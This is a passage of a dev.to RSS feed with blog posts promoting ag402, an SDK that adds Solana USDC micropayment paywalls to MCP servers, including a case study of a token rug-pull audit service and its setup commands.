&lt;code&gt;ag402_core.enable()&lt;/code&gt; must be called &lt;em&gt;before&lt;/em&gt; HTTP requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Import errors&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install --upgrade ag402-core&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Buyers need a Solana wallet with USDC&lt;/strong&gt; — this is real friction for non-crypto developers. Test mode removes this barrier for development, and prepaid reduces on-chain interactions, but production buyers need crypto.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solana network dependency&lt;/strong&gt; — standard payments require network availability. Prepaid mode (HMAC-based) works independently of the network after the initial purchase.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simple pricing only&lt;/strong&gt; — ag402 handles per-request pricing. For subscriptions, usage tiers, or invoicing, you'll need additional tooling.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Security Checklist (Before Production)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Private key in environment variable (&lt;code&gt;SOLANA_PRIVATE_KEY&lt;/code&gt;), never in code&lt;/li&gt;
&lt;li&gt;[ ] Tested on devnet before mainnet&lt;/li&gt;
&lt;li&gt;[ ] Price set slightly above your per-request cost&lt;/li&gt;
&lt;li&gt;[ ] Reviewed built-in protections: per-tx cap ($5), rate limit, daily cap ($10), circuit breaker, auto-rollback, key redaction&lt;/li&gt;
&lt;li&gt;[ ] 775+ tests, 4 internal security reviews, MIT licensed → &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What We Built
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Install&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;ag402 + FastMCP ready&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wallet&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;Solana wallet + test USDC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP server&lt;/td&gt;
&lt;td&gt;2min&lt;/td&gt;
&lt;td&gt;Weather service on &lt;code&gt;:3000&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paywall&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;Reverse proxy on &lt;code&gt;:4020&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Test&lt;/td&gt;
&lt;td&gt;1min&lt;/td&gt;
&lt;td&gt;Auto-pay verified ✓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Your server code: unchanged. Your revenue: non-zero.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Next Steps
&lt;/h2&gt;

&lt;p&gt;→ ⭐ &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;ag402 on GitHub&lt;/a&gt; — source, docs, examples&lt;br&gt;
→ 🧪 &lt;a href="https://colab.research.google.com/github/AetherCore-Dev/ag402/blob/main/examples/ag402_quickstart.ipynb" rel="noopener noreferrer"&gt;Colab demo&lt;/a&gt; — try in browser, zero install&lt;br&gt;
→ 📖 &lt;a href="//./blog-monetize-mcp.md"&gt;Why charge?&lt;/a&gt; — the business case&lt;br&gt;
→ 📝 &lt;a href="//./blog-charged-agents.md"&gt;Case study&lt;/a&gt; — real lessons from a $0.02 paywall&lt;/p&gt;

&lt;p&gt;&lt;em&gt;ag402 is open source (MIT). Built by &lt;a href="https://github.com/AetherCore-Dev" rel="noopener noreferrer"&gt;AetherCore&lt;/a&gt; on &lt;a href="https://github.com/coinbase/x402" rel="noopener noreferrer"&gt;Coinbase x402&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>mcp</category>
      <category>python</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Put a $0.02 Paywall on My AI API. Here's What I Learned.</title>
      <dc:creator>0xAllenDev</dc:creator>
      <pubDate>Tue, 10 Mar 2026 13:49:46 +0000</pubDate>
      <link>https://dev.to/0xallendev/i-put-a-002-paywall-on-my-ai-api-heres-what-i-learned-3m3c</link>
      <guid>https://dev.to/0xallendev/i-put-a-002-paywall-on-my-ai-api-heres-what-i-learned-3m3c</guid>
      <description>&lt;p&gt;I built an MCP server that audits Solana tokens for rug pulls. It calls three external APIs per request, runs results through an LLM, and generates a risk report.&lt;/p&gt;

&lt;p&gt;Every audit costs me about $0.015 to run. I knew from the start that offering it for free wasn't sustainable — one popular agent could burn through my API budget in hours. But I also didn't want to spend weeks building billing infrastructure for a side project.&lt;/p&gt;

&lt;p&gt;Here's what I did instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cost Problem
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Token RugCheck&lt;/strong&gt; pulls data from three sources per audit:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;My cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RugCheck.xyz&lt;/td&gt;
&lt;td&gt;On-chain risk signals&lt;/td&gt;
&lt;td&gt;~$0.005&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GoPlus Security&lt;/td&gt;
&lt;td&gt;Contract audit data&lt;/td&gt;
&lt;td&gt;~$0.003&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM analysis&lt;/td&gt;
&lt;td&gt;Synthesize findings&lt;/td&gt;
&lt;td&gt;~$0.008&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Total: &lt;strong&gt;~$0.015 per request.&lt;/strong&gt; DexScreener is free but rate-limited.&lt;/p&gt;

&lt;p&gt;At even moderate traffic, this burns real money on a project with zero revenue. And the users aren't humans clicking buttons — they're autonomous AI agents. Traditional billing doesn't fit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why x402 Over Stripe
&lt;/h2&gt;

&lt;p&gt;Stripe charges 2.9% + $0.30 per transaction. On a $0.02 payment, that's &lt;strong&gt;$0.31&lt;/strong&gt; — literally 1,500% of my revenue. Beyond fees, Stripe requires business registration, KYC, webhooks, and a billing dashboard. Weeks of work for a solo dev.&lt;/p&gt;

&lt;p&gt;But the real blocker: &lt;strong&gt;AI agents can't fill out Stripe checkout forms.&lt;/strong&gt; They need to pay programmatically, without accounts or API keys.&lt;/p&gt;

&lt;p&gt;Coinbase's &lt;a href="https://github.com/coinbase/x402" rel="noopener noreferrer"&gt;x402 protocol&lt;/a&gt; solves this. Like HTTP 401 means "authenticate," 402 means "pay." The server publishes payment terms, the client pays automatically. I found &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;ag402&lt;/a&gt;, a Python SDK that implements x402 on Solana. Setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ag402-core
ag402 init
ag402 serve &lt;span class="nt"&gt;--target&lt;/span&gt; http://localhost:8000 &lt;span class="nt"&gt;--price&lt;/span&gt; 0.02 &lt;span class="nt"&gt;--address&lt;/span&gt; &amp;lt;MyWallet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ag402 runs as a reverse proxy. My audit engine code didn't change at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  First Real Payment
&lt;/h2&gt;

&lt;p&gt;Deployed to mainnet. Two days later:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://solscan.io/tx/3QPqd3KQcjdRA9vjKV3JXf5cwhKPFyH3WtfowGTJGckvMhd6A1Y8reb8LkHQkoVLw7PFSjFEoXMYHcQMChkhnVPn" rel="noopener noreferrer"&gt;&lt;code&gt;3QPqd3...hnVPn&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; — an AI agent paid $0.02 USDC for a token audit. Gas: $0.00025. Settlement: under a second.&lt;/p&gt;

&lt;p&gt;Click that link. Verify it on Solscan. It's real.&lt;/p&gt;

&lt;p&gt;I also added a &lt;strong&gt;free tier&lt;/strong&gt;: 20 requests per day per IP, no wallet needed. It lets developers try the service before committing any USDC — and it's enough for casual use.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Problems I Hit (and Fixed)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Latency
&lt;/h3&gt;

&lt;p&gt;Standard x402 needs on-chain confirmation per request: ~0.5 seconds. Acceptable for single calls, but agents making batch requests noticed the delay.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix&lt;/strong&gt;: ag402's prepaid system. One on-chain payment buys N credits. Subsequent calls use HMAC-SHA256 credentials verified locally in &lt;strong&gt;~1ms&lt;/strong&gt;. Zero gas after the initial purchase.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Credits&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Per call&lt;/th&gt;
&lt;th&gt;Validity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Starter&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;$1.50&lt;/td&gt;
&lt;td&gt;$0.015&lt;/td&gt;
&lt;td&gt;3 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;$5.00&lt;/td&gt;
&lt;td&gt;$0.010&lt;/td&gt;
&lt;td&gt;7 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;$8.00&lt;/td&gt;
&lt;td&gt;$0.008&lt;/td&gt;
&lt;td&gt;30 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business&lt;/td&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;$35.00&lt;/td&gt;
&lt;td&gt;$0.007&lt;/td&gt;
&lt;td&gt;365 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;$60.00&lt;/td&gt;
&lt;td&gt;$0.006&lt;/td&gt;
&lt;td&gt;730 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;At 1ms, prepaid is indistinguishable from a free API.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Buyer Friction
&lt;/h3&gt;

&lt;p&gt;Asking every agent developer to write payment integration code is a non-starter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix&lt;/strong&gt;: One line on the buyer side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or zero code changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 run &lt;span class="nt"&gt;--&lt;/span&gt; python my_agent.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent's HTTP library is patched transparently. Every 402 response is intercepted, paid, and retried. The developer writes zero payment logic.&lt;/p&gt;

&lt;h3&gt;
  
  
  TypeScript Support
&lt;/h3&gt;

&lt;p&gt;Not using Python? ag402 also ships a TypeScript SDK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @ag402/fetch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;InMemoryWallet&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@ag402/fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiFetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;InMemoryWallet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;apiFetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://your-api.com/endpoint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. The Crypto Barrier
&lt;/h3&gt;

&lt;p&gt;This is the honest part: &lt;strong&gt;not everyone has a Solana wallet with USDC.&lt;/strong&gt; If your audience is traditional web developers who've never touched crypto, this is real friction.&lt;/p&gt;

&lt;p&gt;What helped:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ag402's test mode provides devnet USDC for free — developers can try without buying crypto&lt;/li&gt;
&lt;li&gt;The prepaid system means buyers only need one on-chain interaction, not one per request&lt;/li&gt;
&lt;li&gt;As stablecoin adoption grows (Coinbase, Stripe, PayPal all support USDC now), this barrier is shrinking&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But it's still a barrier today. If your users are exclusively non-crypto, this approach adds friction that API keys don't.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Got Wrong
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;I underestimated documentation.&lt;/strong&gt; The first version had minimal docs. Developers who found Token RugCheck couldn't figure out the payment flow without reading source code. I spent more time answering questions than writing features. Lesson: for anything involving money, documentation needs to be 3x better than you think.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I should have launched on testnet publicly first.&lt;/strong&gt; Going straight to mainnet meant my first users were also my beta testers — with real money on the line. A public testnet period would have caught edge cases without the stress.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pricing is harder than building.&lt;/strong&gt; $0.02 felt right (slightly above my $0.015 cost), but I had no data to validate it. Should I charge more for complex tokens? Less for repeat customers? ag402 supports per-request pricing, but I'm still figuring out the optimal strategy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Things I'd Do Differently
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Start with prepaid from day one.&lt;/strong&gt; Per-request on-chain payments work, but prepaid is better for everyone — faster for buyers, more predictable revenue for sellers, lower total gas.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Price for value, not cost.&lt;/strong&gt; I priced at cost-plus. But the value of knowing a token is safe before buying $10K worth? That's worth more than $0.02. Start by proving demand, then price for value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Be upfront about charging.&lt;/strong&gt; I put the price, protocol, and verification links right in the README. No hidden paywalls, no surprise fees. Developers respect transparency — it builds trust faster than any marketing copy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Takeaway
&lt;/h2&gt;

&lt;p&gt;Five things I know now:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;ag402 serve&lt;/code&gt; wraps your existing server in a paywall — zero code changes&lt;/li&gt;
&lt;li&gt;Solana micropayments: $0.00025/tx, 0.5s settlement&lt;/li&gt;
&lt;li&gt;Prepaid mode: 1ms latency, zero gas&lt;/li&gt;
&lt;li&gt;The crypto wallet requirement is real friction — but shrinking&lt;/li&gt;
&lt;li&gt;It works. It's on mainnet. &lt;a href="https://github.com/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;Verify it yourself&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The question isn't whether AI agents will pay for APIs. They already are.&lt;/p&gt;

&lt;p&gt;The question is whether &lt;em&gt;your&lt;/em&gt; API is on the list.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Links:&lt;/strong&gt;&lt;br&gt;
→ &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;ag402&lt;/a&gt; — payment middleware (MIT)&lt;br&gt;
→ &lt;a href="https://github.com/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;Token RugCheck&lt;/a&gt; — live on mainnet&lt;br&gt;
→ &lt;a href="https://github.com/coinbase/x402" rel="noopener noreferrer"&gt;x402 protocol&lt;/a&gt; — by Coinbase&lt;br&gt;
→ &lt;a href="https://x.com/AetherCoreDev" rel="noopener noreferrer"&gt;@AetherCoreDev&lt;/a&gt; on X&lt;br&gt;
→ &lt;a href="//./blog-tutorial-paid-mcp.md"&gt;Want to try it? Full tutorial here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>solana</category>
      <category>buildinpublic</category>
      <category>mcp</category>
    </item>
    <item>
      <title>Your MCP Server Has Users. You're Paying Their Bill.</title>
      <dc:creator>0xAllenDev</dc:creator>
      <pubDate>Tue, 10 Mar 2026 13:49:45 +0000</pubDate>
      <link>https://dev.to/0xallendev/your-mcp-server-has-users-you-are-paying-their-bill-1hp4</link>
      <guid>https://dev.to/0xallendev/your-mcp-server-has-users-you-are-paying-their-bill-1hp4</guid>
      <description>&lt;h1&gt;
  
  
  Your MCP Server Has Users. You're Paying Their Bill.
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;How to add USDC micropayments to any MCP server in 60 seconds — no Stripe, no API keys, no code changes.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;You built an MCP server. People use it. Claude Code calls it. Cursor calls it. LangChain agents call it.&lt;/p&gt;

&lt;p&gt;Every call costs you money — proxies, LLM tokens, compute, third-party API fees. AI agents consume your resources for free.&lt;/p&gt;

&lt;p&gt;You've considered charging. Here's why the obvious options fail for micropayments:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Solution&lt;/th&gt;
&lt;th&gt;Fee on a $0.02 call&lt;/th&gt;
&lt;th&gt;The problem&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stripe&lt;/td&gt;
&lt;td&gt;$0.31 (2.9% + $0.30)&lt;/td&gt;
&lt;td&gt;1,500% fee — they earn more than you&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PayPal&lt;/td&gt;
&lt;td&gt;$0.31 (2.9% + $0.30)&lt;/td&gt;
&lt;td&gt;Same math, same problem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API keys&lt;/td&gt;
&lt;td&gt;$0 fees&lt;/td&gt;
&lt;td&gt;Agents can't self-register; you manage keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ag402 (Solana USDC)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$0.00025&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.25% fee — agents auto-pay, no signup&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The core issue: &lt;strong&gt;AI agents can't sign up for accounts.&lt;/strong&gt; They can't fill checkout forms or manage API keys across dozens of services. Payment needs to be programmatic and invisible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three Commands
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ag402-core
ag402 init                    &lt;span class="c"&gt;# Creates Solana wallet + test USDC&lt;/span&gt;
ag402 serve &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--target&lt;/span&gt; http://localhost:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--price&lt;/span&gt; 0.02 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--address&lt;/span&gt; &amp;lt;YourSolanaAddress&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your MCP server now charges $0.02 USDC per request. Your code? Untouched.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                    ┌─────────────────────────────┐
Agent request ──→  │  ag402 reverse proxy (:4020) │
                    │  ┌─────────────────────┐    │
                    │  │ 1. Check payment    │    │
                    │  │ 2. If none → 402    │    │
                    │  │ 3. Agent auto-pays  │    │
                    │  │ 4. Verify on Solana │    │
                    │  │ 5. Forward request  │    │
                    │  └─────────────────────┘    │
                    └──────────┬──────────────────┘
                               │
                    ┌──────────▼──────────┐
                    │ Your MCP Server     │
                    │ (unchanged code)    │
                    └─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ag402 is a reverse proxy. It sits in front of your server and handles everything. (&lt;a href="//./blog-tutorial-paid-mcp.md"&gt;Step-by-step tutorial&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  Buyers Don't Notice
&lt;/h2&gt;

&lt;p&gt;On the agent side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or zero code changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 run &lt;span class="nt"&gt;--&lt;/span&gt; python my_agent.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every 402 is intercepted → paid → retried. Works with LangChain, AutoGen, CrewAI, Semantic Kernel — anything on &lt;code&gt;httpx&lt;/code&gt; or &lt;code&gt;requests&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  TypeScript Support
&lt;/h3&gt;

&lt;p&gt;Not using Python? ag402 also ships a TypeScript SDK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @ag402/fetch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;InMemoryWallet&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@ag402/fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiFetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;InMemoryWallet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;apiFetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://your-api.com/endpoint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Speed
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Standard&lt;/strong&gt;: ~0.5s per payment (on-chain Solana USDC)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prepaid mode&lt;/strong&gt;: ~1ms — one on-chain payment buys HMAC credentials, subsequent calls verify locally with zero gas&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Prepaid is indistinguishable from a free API in terms of latency. (&lt;a href="//./blog-charged-agents.md"&gt;Technical deep-dive&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  Running on Mainnet
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;Token RugCheck&lt;/a&gt; audits Solana tokens for rug pull risks — live on mainnet with real USDC payments.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$0.02/audit · RugCheck.xyz + DexScreener + GoPlus → 3-layer risk report&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Free tier&lt;/strong&gt;: 20 requests/day per IP — no wallet needed to get started&lt;/li&gt;
&lt;li&gt;Verified tx: &lt;a href="https://solscan.io/tx/3QPqd3KQcjdRA9vjKV3JXf5cwhKPFyH3WtfowGTJGckvMhd6A1Y8reb8LkHQkoVLw7PFSjFEoXMYHcQMChkhnVPn" rel="noopener noreferrer"&gt;&lt;code&gt;3QPqd3...hnVPn&lt;/code&gt;&lt;/a&gt; (verify on Solscan)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Revenue Projections
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Hypothetical estimates — actual results depend on your traffic and pricing.&lt;/em&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Price/call&lt;/th&gt;
&lt;th&gt;100 calls/day&lt;/th&gt;
&lt;th&gt;500 calls/day&lt;/th&gt;
&lt;th&gt;1,000 calls/day&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
